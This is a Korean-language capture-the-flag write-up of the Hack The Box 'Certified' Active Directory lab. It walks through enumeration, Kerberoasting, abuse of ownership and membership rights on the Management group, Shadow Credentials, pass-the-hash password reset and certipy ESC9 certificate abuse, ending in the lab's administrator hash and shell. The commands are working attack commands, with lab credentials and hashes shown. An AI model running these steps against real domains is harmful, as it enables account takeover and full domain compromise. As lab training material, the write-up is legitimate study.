본문 바로가기

Writeup

HTB Certified Machine - WriteUp

IP : 10.10.11.41

Machine Information

As is common in Windows pentests, you will start the Certified box with credentials for the following account: Username: judith.mader Password: judith09

Certified 타겟은 기본적인 계정인 judith.mader:judith09을 제공한다.

Nmap 결과

┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ sudo nmap -sC -sV -p- -T4 -Pn -O -oN tcp_nmap 10.10.11.41
[sudo] password for kali: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 08:57 EST
Nmap scan report for 10.10.11.41
Host is up (0.21s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-15 21:04:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:53+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
|_ssl-date: 2024-12-15T21:05:51+00:00; +7h00m03s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:53+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-15T21:05:51+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after:  2025-05-13T15:49:36
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49683/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49740/tcp open  msrpc         Microsoft Windows RPC
49775/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m02s, deviation: 0s, median: 7h00m02s
| smb2-time: 
|   date: 2024-12-15T21:05:14
|_  start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 475.37 seconds

88 kerberos를 통해 Active Directory인 것을 유추할 수 있음.

주어진 계정 judith.mader:judith09를 통해 netexec을 사용해 SMB 폴더, 사용자, 패스워드 정책 열거

┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --shares
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             [*] Enumerated shares
SMB         10.10.11.41     445    DC01             Share           Permissions     Remark
SMB         10.10.11.41     445    DC01             -----           -----------     ------
SMB         10.10.11.41     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.41     445    DC01             C$                              Default share
SMB         10.10.11.41     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.41     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.41     445    DC01             SYSVOL          READ            Logon server share 
---------------------------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --users
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.41     445    DC01             Administrator                 2024-05-13 14:53:16 0       Built-in account for administering the computer/domain
SMB         10.10.11.41     445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.41     445    DC01             krbtgt                        2024-05-13 15:02:51 0       Key Distribution Center Service Account
SMB         10.10.11.41     445    DC01             judith.mader                  2024-05-14 19:22:11 0        
SMB         10.10.11.41     445    DC01             management_svc                2024-05-13 15:30:51 0        
SMB         10.10.11.41     445    DC01             ca_operator                   2024-05-13 15:32:03 0        
SMB         10.10.11.41     445    DC01             alexander.huges               2024-05-14 16:39:08 0        
SMB         10.10.11.41     445    DC01             harry.wilson                  2024-05-14 16:39:37 0        
SMB         10.10.11.41     445    DC01             gregory.cameron               2024-05-14 16:40:05 0  
----------------------------------------------------------------------------------------------------------------
┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ netexec smb 10.10.11.41 -u judith.mader -p judith09 --pass-pol                
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\judith.mader:judith09 
SMB         10.10.11.41     445    DC01             [+] Dumping password info for domain: CERTIFIED
SMB         10.10.11.41     445    DC01             Minimum password length: 7
SMB         10.10.11.41     445    DC01             Password history length: 24
SMB         10.10.11.41     445    DC01             Maximum password age: 41 days 23 hours 53 minutes 
SMB         10.10.11.41     445    DC01             
SMB         10.10.11.41     445    DC01             Password Complexity Flags: 000000
SMB         10.10.11.41     445    DC01                 Domain Refuse Password Change: 0
SMB         10.10.11.41     445    DC01                 Domain Password Store Cleartext: 0
SMB         10.10.11.41     445    DC01                 Domain Password Lockout Admins: 0
SMB         10.10.11.41     445    DC01                 Domain Password No Clear Change: 0
SMB         10.10.11.41     445    DC01                 Domain Password No Anon Change: 0
SMB         10.10.11.41     445    DC01                 Domain Password Complex: 0
SMB         10.10.11.41     445    DC01             
SMB         10.10.11.41     445    DC01             Minimum password age: 1 day 4 minutes 
SMB         10.10.11.41     445    DC01             Reset Account Lockout Counter: 10 minutes 
SMB         10.10.11.41     445    DC01             Locked Account Duration: 10 minutes 
SMB         10.10.11.41     445    DC01             Account Lockout Threshold: None
SMB         10.10.11.41     445    DC01             Forced Log off Time: Not Set

사용자는 5명으로 구분됨

사용자

 이에 SPN 계정으로 보이는 management_svc에 대한 Kerberoasting이 가능한지 impacket-GetUserSPN을 통해 실행.

 

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" impacket-GetUserSPNs -dc-ip 10.10.11.41 certified.htb/judith.mader -request -outputfile SPN
CLOCK: step_systime: Operation not permitted
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
ServicePrincipalName               Name            MemberOf                                    PasswordLastSet             LastLogon  Delegation 
---------------------------------  --------------  ------------------------------------------  --------------------------  ---------  ----------
certified.htb/management_svc.DC01  management_svc  CN=Management,CN=Users,DC=certified,DC=htb  2024-05-13 11:30:51.476756  <never>

mangement_svc는 예상과 같이 SPN 계정으로 출력됐고 저장된 티켓을 hashcat 모듈 13100을 이용해 크랙 진행

하지만 rockyou.txt로는 크랙이 불가

이에 접근할 수 있는 SMB 폴더에 충분한 정보가 있는지 확인해봤지만 정보 X

이에 bloodhound-python을 이용해 bloodhound에서 정보를 수집

bloodhound-python -u judith.mader -p judith09 -ns 10.10.11.41 -d certified.htb -c all
--------------------------------------------------------------------------------------
MATCH (m:User) return m

MATCH (m:User) return m

위와 같이 Raw Query 칸에 MATCH (m:User) return m를 사용해 사용자를 추출 후 judith.mader에게 Mark User as Owned를 체크

그 후, management_svc에게 Shortest Paths to Here from Owned를 눌러서 확인

Shortest Paths to Here from Owned

위 사진에서 알 수 있는 것이 judith.mader가 Management_svc가 속해있는 그룹 Management에 대한 WriteOwner 권한을 가지고 있다. 이를 알아보기 위해 Help를 누르면 이에 대한 설명을 볼 수 있음

현재 우리는 Certified 머신의 대화형 쉘을 얻을 수 없고, Linux에서만 진행가능해서 Linux Abuse를 사용해야 한다.

To change the ownership of the object, you may use Impacket's owneredit example script (cf. "grant ownership" reference for the exact link).

owneredit.py -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'


Modifying the rights
To abuse ownership of a group object, you may grant yourself the AddMember privilege.

Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link).

dacledit.py -action 'write' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'


Adding to the group
You can now add members to the group.

Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line:

net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
Pass-the-hash can also be done here with pth-toolkit's net tool. If the LM hash is not known it must be replace with ffffffffffffffffffffffffffffffff.

pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"
Finally, verify that the user was successfully added to the group:

net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"
Cleanup
Impacket's dacledit can be used for that purpose (cf. "grant rights" reference for the link).

dacledit.py -action 'remove' -rights 'WriteMembers' -principal 'controlledUser' -target-dn 'groupDistinguidedName' 'domain'/'controlledUser':'password'

Linux Abuse에서는 WriteOwner를 이용해 management_svc에 대한 권한을 얻을 수 있는 방법을 알려준다.

이에 management 그룹에 소유권을 변경하기 위해 impacket-owneredit을 사용했더니 아래와 같은 에러 발생

이를 고치기 위해 owneredit에 대한 사용법을 찾다가 Hacker's Recipe에서 owneredit 대신 bloodyAD를 사용하는 방법을 추천

https://www.thehacker.recipes/ad/movement/dacl/grant-ownership

bloodyAD --host 10.10.11.41 -d certified.htb -u judith.mader -p judith09 set owner Management judith.mader

 

위 결과에서 Management의 소유권이 judith.mader로 변경된 것을 알 수 있음.

그 다음 dacledit에는 타겟의 DN을 알아야 하기 때문에, Management의 DN을 알기 위해 ldapsearch를 사용

┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ ldapsearch -x -H ldap://10.10.11.41 -D "judith.mader@certified.htb" -w "judith09" -b "dc=certified,dc=htb" "(sAMAccountName=Management)" * > management_dc

[또는 쿼리문을 "(&(objectcategory=group)(cn=Management))"로 바꿔도 됨]

이에 얻은 dn을 이용해 dacledit을 사용.

┌──(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal judith.mader -target-dn 'CN=Management,CN=Users,DC=certified,DC=htb' certified.htb/judith.mader:judith09

dacledit을 이용해 judith.mader가 management의 WriteMembers 권한 획득. 이제 judith.mader를 management 그룹에 추가하기 위해 위에 나와있는 net rpc 대신, bloodyAD 사용

bloodyAD --host "10.10.11.41" -d "certified.htb" -u judith.mader -p judith09 add groupMember Management judith.mader

추가가 됐지만, 실제로 검증하기 위해 rpcclient를 사용

이제 judith.mader는 management의 그룹 권한으로 management_svc에 GenericAll 권한을 통해 공격 가능

bloodhound에서 나와있는 Abuse 방법을 살펴보면 2개의 공격이 가능하다고 한다. 하지만 targetedkerberoast는 mangement_svc에 대한 해시를 얻는 것인데, 위에서 진행했을 때 크랙이 안되니 Shadow Credentials Attack을 진행하도록 한다. 이는 Active Directory(AD) 환경에서 msDS-KeyCredentialLink 속성을 악용하여 특정 사용자 또는 컴퓨터 계정을 탈취하거나 권한을 상승시키는 공격 기법이라고 한다.

Targeted Kerberoast
A targeted kerberoast attack can be performed using targetedKerberoast.py.

targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.

The recovered hash can be cracked offline using the tool of your choice.

Shadow Credentials attack
To abuse this privilege, use pyWhisker.

pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"
For other optional parameters, view the pyWhisker documentation.

pywhisker를 다운받아 다음 코드를 실행

┌──(.venv)─(kali㉿kali)-[~/…/Machine/Certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target "management_svc" --action add

pywhisker를 통해 PFX 인증서와 키를 받고, 비밀번호를 임의로 변경(  PFX 형식(#PKCS12, 인증서 + 비밀번호로 보호되는 개인 키))

pywhisker github에 보면 그 다음 PKINITOOLS를 사용해 Shadow Crednetials를 진행

https://github.com/ShutdownRepo/pywhisker?tab=readme-ov-file

 

GitHub - ShutdownRepo/pywhisker: Python version of the C# tool for "Shadow Credentials" attacks

Python version of the C# tool for "Shadow Credentials" attacks - ShutdownRepo/pywhisker

github.com

https://github.com/dirkjanm/PKINITtools/tree/master

 

GitHub - dirkjanm/PKINITtools: Tools for Kerberos PKINIT and relaying to AD CS

Tools for Kerberos PKINIT and relaying to AD CS. Contribute to dirkjanm/PKINITtools development by creating an account on GitHub.

github.com

gettgtpkinit을 사용하다보니, The clock skew is too great이라는 에러를 출력받았는데, 이는 계속해서 받은 에러이다. 찾아보니 라이언트 서버와 타켓 서버의 시간 동기화가 이루어 지지 않을 때 발생한다고 한다.

오류 해결을 위해 ntpdate와 faketime을 사용하여 시간을 동기화했다. ntpdate를 통해 certified.htb 서버의 시간을 가져오고, faketime을 이용해 해당 명령어의 시간을 certified.htb 서버와 임시로 일치시킨다.

faketime "$(ntpdate -q certified.htb | cut -d ' ' -f 1,2)" python3 gettgtpkinit.py -cert-pfx ../pywhisker/pywhisker/A0CuHDyN.pfx -pfx-pass 7qOYEeyMLzd3zvEchyps certified.htb/management_svc man.ccache

이제 TGT 파일 man.ccache을 gettgtpkinit을 통해 얻었고, 이에 얻은 TGT 티켓을 KRB5CCNAME으로 선언해주고, PKINITOOLS에 있는 getnthash를 통해 NTHASH를 추출한다.(만약 선언하지 않으면 KRB5CCNAME이 없어서 에러가 난다.)

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ export KRB5CCNAME=man.ccache

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate -q certified.htb | cut -d ' ' -f 1,2)" python3 getnthash.py certified.htb/management_svc -key cc555c5cdd1dab21164b9b4182af105f0c29fd9363abadc828212b012621d037
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
/home/kali/HTB/Machine/Certified/PKINITtools/getnthash.py:144: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/home/kali/HTB/Machine/Certified/PKINITtools/getnthash.py:192: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

이에 얻은 해시를 이용해 netexec을 사용해 맞는 해시인지 검증해보면 hash가 적절히 맞는 것을 볼 수 있다.

얻은 management_svc의 계정의 권한을 찾아보다가, ca_operator의 GenricAll 권한이 있는 것을 확인했다.

evil-winrm을 통해 Shell을 얻어보면

management_svc로 shell을 얻을 수 있다.


Privilege Escalation

management_svc는 ca_operator에 GenericAll 권한이 있는데 이는 Bloodhound에서 First Degree Object Control을 살펴보면 된다.

GenericAll을 통해 비밀번호를 교채하려 한다. Linux Abuse 탭을 참고해보면

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/targetedKerberoast]
└─$ pth-net rpc password "ca_operator" "password1" -U "certified.htb/management_svc%ffffffffffffffffffffffffffffffff:a091c1832bcdd4677c28b5a6a1295584" -S certified.htb

ca_operator의 비밀번호가 password1로 변경되었다. 이 후, certipy-ad를 통해 해당 계정의 취약한 인증서 템플릿을 식별한다. 이 내용은 아래 링크에서 확인할 수 있다.

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#abuse-scenario

 

AD CS Domain Escalation | HackTricks

Misconfigured Certificate Templates - ESC1 Misconfigured Certificate Templates - ESC1 Explained This feature is sometimes enabled to support the on-the-fly generation of HTTPS or host certificates by products or deployment services, or due to a lack of und

book.hacktricks.xyz

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ certipy-ad find -username ca_operator@certified.htb -p password1 -dc-ip 10.10.11.41 -text -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Saved text output to '20241216071224_Certipy.txt'

 

저장된 파일을 확인하게 되면 취약한 템플릿에 대해 설명해주는데 위에 결과에서 알려준 ESC9를 이용해 공격을 진행하려 한다. 이는 UPN을 Administrator로 변경해 Administrator.pfx를 요청해서 NT Hash를 얻어낸다.

위 시나리오를 진행하는데 필자는 ca_operator의 비밀번호를 password1로 변경했지만 해시를 요청하는 것부터 시작을 했다. [여기서부터는 faketime을 통해 서버 시간을 맞추지 않으면 skew is too great으로 인해 진행되지 않는다.]

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad shadow auto -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator

certipy-ad를 통해 ca_operator의 NT hash를 알아낸다. 그리고 ca_operator의 UPN(User Principal Name)을 Administrator로 변경한다. 이는 ESC9의 취약점으로 UPN을 Administrator로 변경해도 Administrator@certified.htb이 Administrator의 UPN으로 유지되는 것으로 인해 제약 조건을 위반하지 않는다고 한다.

이제 UPN을 변경해보면

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified/PKINITtools]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

위 결과로 ca_operator의 UPN이 Administrator로 변경된 것을 확인할 수 있다. 이제 취약한 ESC9 템플릿으로 ca_operator로 요청을 해보면

ESC9 템플릿을 식별하지 못하는데, 여기서 아까 취약한 템플릿에서 TemplateName으로 요청을 해야한다고 한다.

ESC9를 CertifiedAuthentication으로 바꿔서 요청해보면

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad req -username ca_operator@certified.htb -hashes 5835048ce94ad0564e29a924a03510ef -ca certified-DC01-CA -template CertifiedAuthentication

인증서와 비밀키가 administrator.pfx에 저장된 것을 확인할 수 있다. 다시 ca_operator를 원래 UPN인 ca_operator@certified.htb로 변경한다.

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb

이제 마지막으로 얻은 administrator.pfx로 Administrator의 NT hash를 구해보면

┌──(.venv)─(kali㉿kali)-[~/HTB/Machine/Certified]
└─$ faketime "$(ntpdate certified.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -domain certified.htb

해시가 출력되는 것을 확인할 수 있다.

얻은 해시를 netexec으로 검증해보면 관리자의 해시를 얻은 것을 알 수 있다.

이제 evil-winrm으로 관리자 Shell을 얻을 수 있다.


이 문제는 총 2일이 걸렸는데, Privilege Escalation는 Paintester라는 분에게 ESC9 취약점을 이용하라는 힌트를 받아서  덕분에 certipy-ad의 존재를 모르고 있었는데 알게됨.

'Writeup' 카테고리의 다른 글

HTB - Cicada[Active Directory]  (0) 2024.12.14
OSCP Proving Grounds Practice - Access  (3) 2024.12.02